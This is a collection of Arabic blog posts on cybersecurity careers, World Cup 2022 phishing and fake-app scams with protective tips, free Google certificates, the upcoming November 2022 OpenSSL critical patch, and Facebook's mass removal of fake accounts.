للعمل في مجال الأمن السيبراني يجب أن تمتلك مهارات تقنية كالمعرفة الجيدة في آلية عمل الانترنت والشبكات وأنظمة التشغيل ولغات البرمجة وخوارزميات التشفير بالإضافة لبعض المهارات الغير تقنية لتتمكن من التعامل مع هجمات الهندسة الاجتماعية وفهم السلوك البشري ومهارات التواصل لتتمكن من التواصل الفعال مع العملاء أو زملائك في فريق العمل

يمكنك التعرف بشكل أكبر على الأمن السيبراني من خلال هذه الدورة المجانية – طريقة التسجيل بالمنصة
يمكنك اكتساب كل المهارات التقنية المطلوبة للعمل في هذا المجال من خلال هذه الدورة
يمكن التعرف على المهارات الغير تقنية المطلوبة للعمل في هذا المجال من خلال هذه الدورة
للمزيد من المصادر والنصائح يمكنكم متابعة صفحة المهندس جميل حسين طويله على الفيسبوك

في النهاية

ارفع راية التسلل لهجمات الأمن السيبراني في كأس العالم قطر 2022

Thu, 17 Nov 2022 17:41:24 GMT

استغل مجرمو الإنترنت كأس العالم قطر 2022 بانتحال أسماء الدومينات (رصدت دراسة نحو 174 دومين خبيث مثل qatar2022[.]pro) و53 تطبيقاً خبيثاً وصفحات تواصل مزورة تروّج للتسويق الهرمي، إضافة إلى تهديد المنظمين بالفدية ومنع الخدمة. للحماية افحص الروابط حرفاً حرفاً، وفعّل المصادقة الثنائية، وحمّل التطبيقات من المتاجر الرسمية فقط.

تجذب الأحداث الرياضية مثل كأس العالم – قطر 2022 اهتمام كبير من كل أنحاء العالم، لقد تمت مشاهدة النسخة الأخيرة من البطولة في روسيا من قبل 3.57 مليار مشاهد، أي ما يعادل أكثر من نصف سكان العالم في سن الرابعة وما فوق.

لسوء الحظ، مشجعو كرة القدم ليسوا هم المتابعون الوحيدون لفرقهم المفضلة، هناك أيضاً مجرمو الانترنت والجهات الفاعلة في مجال التهديدات السيبرانية المزودين بمواردهم وأدواتهم المتطورة ودوافعهم المختلفة لاستغلال هذا الحدث وتنفيذ هجماتهم المختلفة.

عمليات الاحتيال والخداع يمكن أن تتم بأشكال وطرق مختلفة، على سبيل المثال: غالباً ما يستغل مجرمو الانترنت ذوي الدوافع المالية هذه الأحداث للقيام بعمليات الاحتيال وهجمات الاختراق من خلال استخدام عناوين مواقع URL خبيثة تنتحل أسماء مرتبطة بهذه البطولة على أمل زيادة فرصهم في خداع مستخدمي الإنترنت لتحقيق ربح سريع وغير مشروع وفي الوقت نفسه، قد تستغل الجماعات الناشطة في مجال الاختراق كمية الاهتمام العام الممنوح لمثل هذه الأحداث لزيادة وصول رسالتها بشكل كبير وقد تقرر مجموعات التهديد المستمر المتقدم APT – Advanced Persistent Threat التي ترعاها الدول استهداف الأحداث الرياضية العالمية مثل كأس العالم قطر 2022 لتحقيق أهداف سياسية

بعبارة مختصرة، تهتم الكثير من الجهات الفاعلة في مجال التهديدات الرقمية بهذا النوع من الأحداث، لذلك من المهم جداً تسليط الضوء وبشكل مبكر على بعض التهديدات الإلكترونية الأكثر شيوعاً بهدف منع حدوثها أو التخفيف من تأثيرها ولهذا السبب قررنا كتابة دليل الحماية هذا لعرض بعض الأمثلة المثيرة للاهتمام حول كيفية استغلال مجرمي الانترنت لكأس العالم قطر 2022 للقيام بنشاط الخبيث عبر الانترنت

إليك بعض التقنيات والأساليب المستخدمة من قبل مجرمي الانترنت لاستغلال كأس العالم قطر 2022

انتحال أسماء المواقع (الدومينات)

يعتبر هذا الأسلوب شائعاً جداً لدى مجرمي الانترنت للقيام بعملياتهم الخبيثة ويتم هذا الأمر من خلال استخدام أسماء مواقع ودومينات مع صفحات منتحلة لتقليد مواقع شرعية لمنظمات أو جهات رسمية وموثوقة واستغلال هذا الأمر للقيام بنشاط خبيث بهدف سرقة المعلومات الحساسة كالمعلومات الشخصية ومعلومات تسجيل الدخول ومعلومات البطاقات البنكية أو من الممكن أن يتم استغلال هذا الأمر لإصابة أجهزة المستخدمين ببرمجيات خبيثة

لإعداد صفحات الويب المخادعة هذه، عادةً ما يختار المهاجمون ومجرمو الانترنت أسماء دومينات مشابهة لموقع ويب شرعي لخداع المستخدمين للنقر عليه وللقيام بهذا الأمر قد يلجئ منفذو الهجمات إلى تبديل حرف ضمن أسم الدومين مثل goggle[.]com بدلاً من google[.]com أو استخدام نفس الاسم مع التلاعب بالاسم العلوي من الدومين TLD – Top Level Domain مثل google[.]info بدلاً من google[.]com أو تضمين كلمة ذات صلة مثل google-info[.]com ولتجنب الاكتشاف والإزالة غالباً ما يتم تسجيل هذه الدومينات لدى شركات مزودة للخدمة تعمل على حماية وإخفاء معلومات صاحب الدومين بهدف التخفي بعيداً عن أعين الجهات الخاصة بتطبيق القانون وملاحقة المجرمين عبر الانترنت

وفقاً لدراسة حديثة تم اكتشاف وتحديد حوالي 174 اسم دومين خبيث ينتحل صفة صفحات لمواقع رسمية خاصة بكأس العالم قطر 2022 وقد تفاوت مستوى التطور الذي يستخدمه المهاجمون لتقليد المواقع الأصلية بشكل كبير، بدءاً من صفحات التصيد الاحتيالي منخفضة الجودة والواضحة إلى الجهود الأكثر دقة لمحاكاة الصور المتحركة والشعارات. من بين هذه المواقع المزورة qatar2022[.]pro حيث اعتمد المهاجمون على تغيير اسم الدومين العلوي ليكون .pro بدلاً من .qa (الموقع الرسمي لكأس العالم قطر 2022) بهدف خداع المستخدمين لتنفيذ هجمات الاحتيال أو الاختراق

لتدرك مدى خطورة هذا الأمر إليك صورة هذا الموقع المخادع

تم الإبلاغ عن هذا الموقع المخادع على أنه موقع مزور يُستخدم في هجمات التصيد الاحتيالي Phishing Attack وتم منع الوصول له من قبل العديد من مزودي الخدمة

كما تلاحظ فإن هذا الموقع المخادع ينتحل شخصية الموقع الرسمي بطريقة احترافية وعالية الجودة مع العديد من التفاصيل الدقيقة التي لا تختلف عن الموقع الرسمي ولكن وعند الضغط على مربع المحادثة الموجود في الزاوية السفلية اليمنى يتم توجيه المستخدم إلى عنوان موقع مخادع آخر تحت سيطرة الجهة المنفذة لهذا الهجوم بهدف تنفيذ المزيد من الأعمال الخبيثة الأخرى وبالتأكيد الهدف هنا هو خداع المهتمين بشراء تذاكر حضور المباريات لسرقة معلومات بطاقتهم البنكية ومعلوماتهم الحساسة

تطبيقات الموبايل المزورة

بالإضافة لاسم الدومين المميز تسعى معظم المؤسسات الآن لنشر تطبيق الهاتف المحمول الخاص بها والذي يستخدم للتواصل مع العملاء وتنفيذ العمليات بشكل سريع وتعزيز الولاء للعلامة التجارية وبالتأكد كأس العالم قطر 2022 ليس استثناءً، حيث تحتفظ الفيفا حالياً بتطبيقات رسمية متعددة عبر متاجر التطبيقات الرسمية

في الوقت نفسه، يتم استغلال هذا الأمر لزيادة سطح الهجوم وبالفعل لقد تم نشر العشرات من التطبيقات الاحتيالية التي يتم توزيعها عبر متاجر التطبيقات غير الرسمية، تشكل هذه التطبيقات الضارة خطراً على المستخدمين ويمكن العثور عليها بسهولة عبر الإنترنت باستخدام محركات البحث

من خلال نفس الدراسة السابقة تم تحديد 53 تطبيق خبيث ينتحل أمور متعلقة بكأس العالم قطر 2022 حتى أن بعضها متاح على متاجر رسمية مثل متجر Google Play عند تحليل هذه التطبيقات وجدنا تنوع وتعقيدات مختلفة ولكن وبشكل عام كل هذه التطبيقات كان لها هدف واحد وهو خداع المستخدم لسرقة معلوماته الحساسة أو نشر الإعلانات الخبيثة أو القيام بنشاطات خبيثة أخرى

صفحات التواصل الاجتماعي المزورة

أصبحت صفحات وسائل التواصل الاجتماعي ركيزة أساسية لاستراتيجية الاتصال لكل مؤسسة في السنوات العشر الماضية وفي يومنا الحالي تعد هذه الصفحات ضرورية لبناء أي علامة تجارية وسهولة الوصول والتواصل مع العملاء

يزور الملايين من مستخدمي الإنترنت كل يوم صفحات مواقع التواصل الاجتماعي المفضلة لديهم لمواكبة الإصدارات الجديدة والعروض والمعلومات في الوقت المناسب وبالتأكيد فإن هذا الأمر نفسه يتم مع الأحداث العالمية مثل كأس العالم قطر 2022 حيث يتدفق المشجعون على الصفحات الرسمية لمعرفة آخر الأخبار المتعلقة بهذا الحدث العالمي وبالتأكيد سيتم استغلال هذا الأمر من قبل المهاجمين ومجرمي الانترنت من خلال إنشاء صفحات مخادعة على مواقع التواصل الاجتماعي.

وهنا تجدر الإشارة إلى أن مجموعات الاختراق والتهديد المستمر المتقدم APT تستخدم صفحات التواصل الاجتماعي لنشر معلومات مضللة أو لجمع معلومات حساسة عن الأهداف المحتملين وبالفعل لقد تم اكتشاف نشاط لمجموعة APT Lazarus التي ترعاه كوريا الشمالية مراراً وتكراراً لاستهداف الباحثين عن عمل على موقع LinkedIn بإعلانات وظائف احتيالية لخداعهم للنقر على الروابط الخبيثة.

من خلال هذه الدراسة تم الوصول لعشرات الصفحات على مواقع التواصل الاجتماعي التي تنتحل شخصية أصول مملوكة أو متعلقة بكأس العالم قطر 2022 غالبية هذه الصفحات تنشر محتوى غير ضار ومع ذلك فقد حددنا العديد من الصفحات على موقع الفيسبوك والتي تستغل شعارات كأس العالم قطر 2022 لنشر عمليات الاحتيال مثل التسويق الهرمي كما ترى في المثال التالي:

صفحات التواصل الاجتماعي ليست مصدر القلق الوحيد عندما يتعلق الأمر بسرقة العلامة التجارية وانتحال الشعار فمن الممكن أيضاً انتحال الشخصيات المهمة والمديرين التنفيذيين لإجراء هجمات الهندسة الاجتماعية

أحد الأساليب الأكثر شيوعاً التي يستخدمها المهاجمون هو انتحال صفة المدير التنفيذي للقيام بهجمات اختراق البريد الإلكتروني للأعمال BEC – Business Email Compromise وهذه الطريقة تتم من خلال خداع الموظف برسالة عبر البريد الالكتروني تبدو على أنها قادمة من مديره في العمل وتطلب منه القيام بتحويلات مالية بشكل مستعجل لحسابات خاصة بالمهاجمين

الهجمات التي تستهدف المنظم للبطولة

قد يتم أيضاً استهداف المنظمات القطرية أو المنظمات الأجنبية المسؤولة عن تنظيم هذه البطولة بهجمات برامج الفدية أو بهجمات منع الخدمة بهدف تعطيل عمل هذه المنظمات ومحاولة إفشال الجهود المبذولة من دولة قطر لإنجاح هذا الحدث العالمي وهنا يجب التأكيد على مراقبة هذه الجهات واتخاذ إجراءات الحماية الاستباقية والتأكد من وجود موارد بديلة لضمان عدم توقف أي من الخدمات في حال تعرضها لهجمات سيبرانية

طرق الحماية

الآن وبعد أن ناقشنا بعض التهديدات الخطيرة للهيئات المنظمة لكأس العالم قطر 2022 وشركائها الرئيسيين والجهات الراعية وحتى المشجعين

يمكنك أن تسأل نفسك السؤال التالي: “هل يجب أن أشعر بالقلق حيال ذلك؟”

الإجابة على هذا السؤال هي نعم

ولذلك يجب أن تتخذ بعض اجراءات الحماية الاستباقية والتي سوف ترفع راية التسلل للهجمات السيبرانية المحتملة ومنع المهاجمين من تحقيق أهدافهم في مرمانا

اتبع نهجاً قائماً على الشك في كل الأمور التي من الممكن أن تمثل تهديد محتمل وقم بتحديث نموذج التهديد الخاص بك مع تطور هذا المشهد
كن حذراً بشأن المعلومات التي تقوم بمشاركتها عبر الإنترنت أو على وسائل التواصل الاجتماعي، مثل أسماء حيواناتك الأليفة والمدارس التي درست بها وأسماء أفراد عائلتك وتاريخ ميلادك والمعلومات الشخصية الأخرى، يمكن للمهاجمين استخدام هذه المعلومات للتخمين على كلمة السر الخاصة بك أو للإجابة على اسئلة الأمان الخاصة بحساباتك
تجنب النقر على أي رابط في رسائل البريد الإلكتروني أو الرسائل النصية القادمة لك بشكل غير متوقع وتطلب منك تحديث معلومات الحساب أو التحقق منها، ابحث بشكل مستقل عن جهات الاتصال الرسمية للشركة واتصل بهم للتحقق من شرعية طلبهم
افحص بشكل جيد روابط وعناوين المواقع وتأكد من الأحرف لضمان عدم وجود أي تبديل بسيط لا يمكن ملاحظته بشكل فوري
قم بتفعيل المصادقة الثنائية أينما وجدت فهي حل سحري ضد العديد من الهجمات المحتملة
قم بتحديث كل البرامج والتطبيقات وأنظمة التشغيل للتأكد من تطبيق التصحيحات الأمنية لسد الثغرات ونقاط الضعف ومنع المهاجمين من استغلالها
تأكد من تحميلك للتطبيقات من المتاجر الرسمية وتأكد من الصلاحيات التي تطلبها هذه التطبيقات

في النهاية

في حال قمت بالشك بأي رابط أو صفحة أو تطبيق مزور تواصل معنا عبر الفيسبوك “المهندس جميل حسين طويله” لنقوم بإجراء عملية التحليل وتقديم نصائح الحماية

شهادات مجانية من غوغل مهمة للحصول على عمل

Sat, 12 Nov 2022 09:36:29 GMT

شهادات غوغل برامج تعليمية عبر الإنترنت تطور مهارات المهنيين في التسويق وتكنولوجيا المعلومات وتصميم تجربة المستخدم والتعليم، ومعظمها لا يتطلب خبرة سابقة أو شهادة جامعية. أبرزها Google Analytics Academy وGoogle Ads وIT Support وProject Management وUX Design وGoogle for Education، وهي عادة مجانية أو منخفضة التكلفة وتثبت لأصحاب العمل مهارتك.

شهادات غوغل هي برامج تعليمية عبر الإنترنت تساعد المهنيين الذين يعملون في مجالات مختلفة، مثل التسويق وتكنولوجيا المعلومات وتصميم تجربة المستخدم والتعليم على تطوير مهارات جديدة.

تقدم غوغل شهادات في مختلف الصناعات ولا يتطلب معظمها أي خبرة سابقة أو درجة للتسجيل.

ما هي الشهادات وتفاصيلها؟

فيما يلي 6 شهادات من غوغل متاحة للمهنيين الراغبين في تطوير مهارات جديدة:

Google Analytics Academy

تساعد أكاديمية Google Analytics أصحاب الأعمال والمهنيين الآخرين في التعرف على أدوات قياس تحسين محركات البحث, يساعد هذا المهنيين على تحسين العمليات التجارية من خلال طرق جمع البيانات وتحليل الكلمات الرئيسية, داخل الأكاديمية تقدم غوغل ست دورات لمساعدة مقالات الشركات أو مواقع الويب في الحصول على مرتبة عالية على غوغل أو محركات البحث الأخرى.

من دورات التحليلات المبتدئة إلى المتقدمة، تزود هذه الشهادات المستخدمين بالمعرفة الأساسية لتحليل التقارير التي تركز على جمع البيانات وتكوينها, تتضمن شهادات التحليلات الأخرى وضع العلامات على الأساسيات وتحليلات 360 وهي دورة تدريبية متخصصة للمستخدمين للتعرف على عمليات الدمج مع البرامج الأخرى, تزود هذه الشهادات المحترفين بمهام واقعية يؤديها غالباً المتخصصون في تحسين محركات البحث أو مناصب التسويق.

Google Ads certifications

تقدم الاعتماد المهني الأساسي والمتقدم للمحترفين الذين يهدفون إلى تحسين حساباتهم في إعلانات غوغل ووجودهم التسويقي عبر الإنترنت, توفر هذه الشهادات للمحترفين دليلًا على أن غوغل تعترف بهم كمتخصصين في الإعلان عبر الإنترنت, يمكن لمتخصصي التسويق متابعة واحدة أو جميع الشهادات المتاحة في هذا البرنامج اعتماداً على خبرتهم مع إعلانات غوغل أو ما إذا كانت شركتهم تتطلب شهادات معينة.

تتطلب شهادة الإعلانات من المحترفين أخذ بعض أو كل الدورات التدريبية والتقييمات المتاحة, عند إجراء اختبار إعلانات غوغل لديك 75 دقيقة لإكماله وتتطلب نتيجة 80٪ أو أكثر. كل شهادة من “إعلانات غوغل” صالحة لمدة عام واحد, عند انتهاء صلاحية شهادتك يمكنك تجديدها من خلال إجراء تقييم جديد في مجال المنتج المعني.

Google IT Support Professional Certificate

باعتبارها دورة تدريبية على المستوى التمهيدي لتكنولوجيا المعلومات، فإن هذه الشهادة مخصصة للمهنيين الذين يرغبون في بدء حياة مهنية في تشغيل وصيانة أنظمة الكمبيوتر والشبكات الخاصة بالشركة, تساعد هذه الدورة المهنيين الذين يتابعون وظائف قائمة على التكنولوجيا، مثل فنيي مكتب المساعدة ومسؤولي قواعد البيانات ومحللي النظام, هذه الشهادة مهمة لأنها تساعد المهنيين على أداء مهام تكنولوجيا المعلومات الأساسية، مثل تجميع أجهزة كمبيوتر الشركة والشبكات اللاسلكية وتثبيت البرامج ومسؤوليات خدمة العملاء.

يحتوي هذا البرنامج على أكثر من 100 ساعة تعليمية مع 10 ساعات مخصصة وموصى بها في الأسبوع, يتضمن العديد من التقييمات القائمة على الممارسة لسيناريوهات تكنولوجيا المعلومات في العالم الحقيقي لمساعدتك على التفوق في مكان العمل, يمكن أن يسمح لك الحصول على هذه الشهادة أيضًا بالحصول على أرصدة جامعية للحصول على درجة الزمالة, ضع في اعتبارك البحث عما إذا كانت جامعتك أو كليتك تمنحك اعتمادات للحصول على هذه الشهادة.

Google Project Management Professional Certificate

توفر الشهادة الاحترافية في إدارة المشاريع من غوغل للمهنيين المبتدئين المهارات اللازمة للتميز في تخطيط المشاريع وتنظيمها وقيادتها, هذه الدورة مخصصة للمهنيين الذين يتابعون وظائف في إدارة المشاريع أو إدارة البرامج أو تحليل البرامج أو مهام سكروم, عند إجراء هذه التقييمات توقع أن تتعلم مهارات مثل تحديد المخاطر وإدارتها وإدارة أصحاب المصلحة وتقدير الوقت والميزانيات, تساعد هذه الدورة أيضاً المهنيين على التعرف على برامج إدارة المشاريع الشائعة والمنهجيات الرشيقة وعلى وجه التحديد طرق سكروم.

يقوم خبراء غوغل الذين لديهم خلفية في إدارة المشاريع بتدريس هذه الشهادة المكونة من ست دورات, يحتوي هذا البرنامج على أكثر من 140 ساعة من التدريس مع 10 ساعات مخصصة وموصى بها في الأسبوع, يتضمن العديد من التقييمات القائمة على الممارسة لسيناريوهات إدارة المشاريع في العالم الحقيقي لمساعدتك على التفوق في مكان العمل.

Google UX Design Professional Certificate

صممت غوغل شهادة UX Design Professional الخاصة بها للمحترفين الذين يسعون إلى الحصول على وظيفة في تصميم تجربة المستخدم (UX), تساعد هذه الدورة المتقدمين على التركيز على تفاعل المستخدم مع مختلف المواقع والتطبيقات, كما أنه يزودك بالمهارات اللازمة لجعل هذه التفاعلات سهلة الوصول وقيمة وممتعة للمستخدمين, يحتوي هذا البرنامج على أكثر من 200 ساعة من التدريس والتي أكملها العديد من المتقدمين في أقل من ستة أشهر.

في هذه الدورة يمكنك إنشاء رسومات يدوية وتطبيقها باستخدام أدوات التصميم الرقمية التي تتعلق بمشاريع تصميم تجربة المستخدم في العالم الحقيقي, تزود هذه الدورة محترفي تكنولوجيا المعلومات بالمعرفة الأساسية اللازمة لأداء العديد من مهام تجربة المستخدم، بما في ذلك بناء الهياكل الشبكية وإجراء أبحاث UX وإنشاء تصميمات عالية الجودة. في نهاية هذه الدورة، غالبًا ما يمتلك المتقدمون محفظة UX احترافية تتضمن ثلاثة مشاريع مكتملة يمكن أن تساعدك في البدء في التقدم للوظائف.

Google for Education certifications

تقدم غوغل دورتين تدريبيتين للحصول على الشهادات للمعلمين الذين يبدؤون حياتهم المهنية وأولئك الذين يسعون إلى معرفة أكثر تقدماً, تتضمن كلتا الشهادتين شارة إتمام معتمدة من غوغل والتي يمكنك تضمينها في سيرتك الذاتية أو محفظتك أو موقع الويب أو أي وثائق مهنية أخرى لمساعدتك على فصل نفسك عن المتقدمين التنافسيين, توفر كل دورة تدريبية في Google for Education للمعلمين فرصاً لتحسين عمليات مشاركة الطلاب عند إنشاء خطط الدروس ومنهج دراسي كامل.

فوائد الحصول على شهادات غوغل

فيما يلي قائمة بالمزايا التي قد يكسبها المتقدمون من خلال الحصول على شهادة غوغل:

تعلم قدرات جديدة: تسمح العديد من شهادات غوغل للمهنيين المبتدئين بتعلم مهارات جديدة مطلوبة لبدء حياتهم المهنية في الوظيفة أو الصناعة المطلوبة.
تطوير مهاراتك: بالنسبة لأولئك الذين يهدفون إلى تعزيز معرفتهم أو تأمين ترقية أو متابعة مسؤوليات جديدة، تقدم غوغل دورات شهادات متقدمة لمساعدتك في توسيع مهاراتك التقنية.
أظهر خبرتك: تسمح الشهادات للمهنيين بإثبات لأصحاب العمل الحاليين أو المحتملين أنهم معتمدون بالمهارات المطلوبة لأداء المهام بكفاءة وفعالية.
كن أحد شركاء Google: تقدم غوغل أيضاً للشركات فرصة لتصبح شريكاً في غوغل أو شريكاً مميزاً حتى تتمكن مؤسستهم من إثبات للعملاء أو المرشحين الموهوبين أنهم يمتلكون معرفة متخصصة في مجالات تخصصهم.

هل شهادات غوغل مربحة؟

يتيح لك الحصول على شهادة غوغل أن تثبت لأصحاب العمل أنك ماهر في برنامج أو مجال أو صناعة معينة, يمكن أن يساعدك الحصول على شهادة في الحصول على وظيفة جديدة أو متابعة فرص التقدم الوظيفي وكلاهما يمكن أن يوفر رواتب أعلى أو تنافسية, ضع في اعتبارك مقارنة الراتب الأعلى الذي قد تتمكن من الحصول عليه بحقيقة أن دورات شهادات غوغل عادة ما تكون مجانية أو غير مكلفة نسبيًا للمهنيين الذين يهدفون إلى بدء حياتهم المهنية أو التقدم فيها.

هل الخبرة السابقة أو شهادة جامعية مطلوبة؟

لا تتطلب معظم الشهادات التي تقدمها غوغل أي خبرة أو تعليم سابق, يختلف كل برنامج، حيث تخصص غوغل بعض الدورات التدريبية للمهنيين المبتدئين والتي غالباً لا تتطلب أي معرفة سابقة ومع ذلك، تتطلب بعض البرامج المزيد من الخبرة أو المعرفة بالموضوع.

الخلاصة

يجب عليك الأعتراف بأن لا شيء يقف في طريق تحقيق أهدافك من حصول على عمل أو تطوير ذاتك, كل ذلك يعتمد على البدء.

لذا يجب عليك دائماً أن (تخطط بشكل كبير – تحلم بالمزيد – لكن يجب أن تنفذ الآن) لا مبرر لضياع الوقت دون إنجاز أو اكتساب المعرفة.

استعد بشكل جيد للتعامل مع ثغرة جديدة في OpenSSL

Fri, 28 Oct 2022 16:51:08 GMT

أعلن مشروع OpenSSL في 26 أكتوبر 2022 عن ثغرة حرجة في الإصدار 3.0 وما فوق، على أن يصلحها الإصدار 3.0.7 في الأول من نوفمبر. لا يُعرف بعد إن كانت بخطورة Heartbleed، لذا على المؤسسات أن تجرد الآن كل البرامج والأجهزة التي تستخدم OpenSSL 3.0 استعداداً لتطبيق التصحيح فور صدوره.

استعد بشكل جيد للتعامل مع الثغرة الجديدة في OpenSSL المختلفة عن الثغرة المشهورة Heartbleed فمن الممكن أن يكون لها تداعيات أمنية خطيرة

لدى المنظمات والشركات خمسة أيام للتحضير لما وصفه مشروع OpenSSL في 26 أكتوبر من عام 2022 بأنه ثغرة أمنية “حرجة” في الإصدار 3.0 وما فوق من مكتبة التشفير المستخدمة في كل مكان تقريباً لتشفير الاتصالات على الإنترنت

في يوم الثلاثاء الأول من نوفمبر من عام 2022 سيصدر المشروع إصداراً جديداً من OpenSSL (الإصدار 3.0.7) والذي سيصلح عيباً لم يتم الكشف عنه بعد في الإصدارات الحالية وستحدد خصائص الثغرة الأمنية والطريقة التي يمكن استغلالها لتتمكن مختلف الجهات من معالجة المشكلة

الآثار الخطيرة المحتملة

من المرجح أن يكون لدى بائعي أنظمة التشغيل الرئيسية وناشري البرامج وموفري خدمات البريد الإلكتروني وشركات التكنولوجيا التي قامت بدمج OpenSSL في منتجاتها وخدماتها إصدارات محدثة من تقنياتهم بالتزامن مع كشف مشروع OpenSSL عن الخلل يوم الثلاثاء المقبل و لكن هذا الأمر سيترك ملايين آخرين (بما في ذلك الوكالات الفيدرالية والشركات الخاصة ومقدمي الخدمات ومصنعي أجهزة الشبكات وعدد لا يحصى من مشغلي مواقع الويب) أمام موعد نهائي يلوح في الأفق للعثور على الثغرة الأمنية وإصلاحها قبل أن يبدأ المهاجمون باستغلالها

إذا تبين أن الثغرة الأمنية الجديدة خطيرة بشكل مشابه لثغرة Heartbleed (وهي ثغرة سابقة كانت تؤثر على OpenSSL) فستكون شبكة الانترنت بأكملها تحت التهديد وبحاجة لمعالجة المشكلة في أسرع وقت ممكن

ثغرة Heartbleed (CVE-2014-0160) والتي تم الكشف عنها في عام 2014 أعطت بشكل أساسي للمهاجمين طريقة للتنصت على اتصالات الإنترنت وسمحت لهم بسرقة البيانات من الخدمات والمستخدمين كما سمحت لهم بتنفيذ هجمات انتحال الشخصية لخدمات مختلفة، كان الخطأ موجود في إصدارات OpenSSL من مارس 2012 فصاعداً وأثر على مجموعة واسعة من التقنيات بما في ذلك سيرفرات الويب المستخدمة على نطاق واسع مثل Nginx, Apache, and IIS ومنظمات وشركات كبيرة مثل Google, Akamai, CloudFlare, and Facebook بالإضافة لسيرفرات البريد الإلكتروني وخدمات المحادثة وأجهزة الشبكة من شركات مثل Cisco والشبكات الخاصة الافتراضية VPN

أثار الكشف عن هذا الخطأ نوبة من النشاط العلاجي من مختلف الجهات المعنية وأثارت مخاوف من تسويات كبيرة، كما أشار موقع Heartbleed.com فقد استحوذت تطبيقات سيرفرات الويب Apache and Nginx وحدهما على حصة سوقية تزيد عن 66٪ من المواقع النشطة على الإنترنت في وقت الكشف عن ثغرة Heartbleed

إلى الآن ليس هناك من يخبرنا (حتى يوم الثلاثاء الأول من نوفمبر لعام 2022 على الأقل) ما إذا كان الخلل الجديد سيكون مثل Heartbleed ولكن نظراً للاستخدام المهم للبنية التحتية لـ OpenSSL لتشفير الاتصالات عبر الإنترنت فمن الأفضل للمؤسسات عدم التقليل من شأن هذا التهديد

يجب أن تستعد الشركات بشكل جيد

وفقاً ل Johannes Ullrich عميد الأبحاث في معهد SANS: من الصعب بعض الشيء التكهن بالتأثير ولكن التجربة السابقة أظهرت أن OpenSSL لا يستخدم تسمية “حرجة” لأمر بسيط التأثير

يُستخدم الإصدار 3.0 وهو الإصدار الحالي من OpenSSL في العديد من أنظمة التشغيل الحالية مثل Ubuntu 22.04 LTS, MacOS Mavericks, and Ventura لذا على المؤسسات أن تتوقع تلقي تحديثات تحوي على إصلاحات خاصة بتوزيعات Linux بشكل سريع وبنفس الوقت الذي نشرته OpenSSL يوم الثلاثاء القادم

ولكن يجب أن تستعد المؤسسات الآن لمعرفة الأنظمة التي تستخدم OpenSSL 3.0، قدم OpenSSL هذه الإعلانات المسبقة عن تصحيحات الأمان لمساعدة المنظمات في الاستعداد للتعامل مع هذا الخلل، لذا استغل هذا الوقت لمعرفة ما الذي يحتاج إلى إصلاح

ووفقاً ل Brian Fox الشريك المؤسس ورئيس قسم التكنولوجيا في Sonatype فإنه إلى أن يحين الوقت الذي يكشف فيه مشروع OpenSSL عن هذا الخطأ يوم الثلاثاء 1/11/2022 تحتاج المؤسسات إلى تحديد ما إذا كانت تستخدم إصداراً مصاباً بهذه الثغرة وفي أي مكان ضمن الأنظمة الخاصة بها أو ضمن التطبيقات التي تستخدمها والاستعداد بشكل جيد لمعالجة هذه المشكلة

أي تطبيق يتصل بالإنترنت بشكل آمن يمكن أن يحتوي على OpenSSL مدمج بداخله وقد لا يقتصر الأمر على البرامج ومن الممكن أن تتأثر الأجهزة أيضاً، لذا يجب أن يمنح الإشعار المسبق المقدم من مشروع OpenSSL المؤسسات الوقت للاستعداد والعثور على كل البرامج أو الأجهزة التي تحوي على الإصدار المصاب (يجب القيام بهذا الأمر الآن) وبعد ذلك سيتم تطبيق التصحيح أو تحديد مصادر التحديثات من البائعين الرئيسيين، كل ما يمكنك فعله في الوقت الحالي هو جرد الأصول التي من الممكن أن تكون مصابة

فيسبوك تغلق ملايين الحسابات

Wed, 12 Oct 2022 02:53:31 GMT

حذفت فيسبوك 1.6 مليار حساب مزيف في الربع الأول من عام 2022 بحسب Statista، بعد رقم قياسي بلغ نحو 2.2 مليار حساب في الربع الأول من 2019. تأثرت بذلك الصفحات والمؤثرون الذين دعموا صفحاتهم بمتابعين مزيفين فانخفض وصولهم، وأُغلقت الصفحات المستنسخة نهائياً، بينما لم يلاحظ أغلب المستخدمين العاديين أي تغيير.

قامت شركة “فيسبوك” بحملة واسعة لإزالة الحسابات المزيفة من على منصتها حيث أوضح تقرير “statista” بأن الشركة قامت في الربع الأول من عام 2022 بحذف 1.6 مليار حساب مزيف حيث انخفض من 1.7 مليار في الربع السابق.

بينما في الربع الأول من عام 2019، تمت إزالة رقم قياسي بحوالي 2.2 مليار حساب مزيف بواسطة منصة التواصل الاجتماعي فيسبوك ذلك لأن Meta تعتبر الحسابات المزيفة حسابات تم إنشاؤها بقصد خبيث أو تم إنشاؤها لتمثيل شركة أو مؤسسة أو كيان غير بشري.

عدد الحسابات المزيفة التي اتخذت فيسبوك إجراءً بحقها حول العالم، بالمليون (المصدر: Statista، فيسبوك):

الفترة	عدد الحسابات (مليون)
الربع الرابع 2017	694
الربع الأول 2018	583
الربع الثاني 2018	800
الربع الثالث 2018	754
الربع الرابع 2018	1200
الربع الأول 2019	نحو 2200
الربع الثاني 2019	1500
الربع الثالث 2019	1700
الربع الرابع 2019	1100
الربع الأول 2020	1700
الربع الثاني 2020	1500
الربع الثالث 2020	1300
الربع الرابع 2020	1300
الربع الأول 2021	1300
الربع الثاني 2021	1700

تأثيرات عمليات الإزالة

لم يشعر أغلب المستخدمين بالتغيير

لعل أغلب المستخدمين (الطبيعيين) لم يشعروا بوجود شيء من هذه العمليات أو تأثيراتها.

بينما أصحاب الصفحات العامة والمؤثرين وصانعي المحتوى الذين قاموا بدعم صفحاتهم “على حد زعمهم” بأعداد مزيفة من المتابعين قد تأثر العدد لديهم وهذا سوف يؤثر مبدئياً على مدى وصول منشوراتهم كون خوارزمية الفيسبوك تعتمد بشكل شبه رئيسي على أعداد المتابعين إضافة لذلك فإن الإحصائيات تشير إلى انخفاض أعداد المستخدمين النشطين يومياً على منصة فيسبوك وهذا بسبب تلاشي “الذباب الإلكتروني = الحسابات المزيفة”

المستخدمين النشطين

عدم القدرة على الوصول إلى بعض الحسابات

إحدى تأثيرات عملية الإزالة هي عدم قدرة المستخدمين على الوصول الى الصفحة الرئيسية للحساب كما هو الحال أيضاً في بعض الصفحات العامة ذات الأعداد الهائلة من المتابعيين المزيفين

عدم القدرة للوصول

الإغلاق التام للصفحات العامة (المستنسخة)

انتشرت في الآونة الأخيرة ثغرة في منصة فيسبوك تسمح للمستخدمين بالقيام باستنساخ الصفحات العامة كما هي أي:

عدد المتابعين ذاته – المتابعين ذاتهم أيضاً – المنشورات ذاتها بحيث يقوم المستخدم بحذف جميع المنشورات وتغير اسم الصفحة العامة وبذلك قد حصل على عدد كبير من المتابعين بسهولة

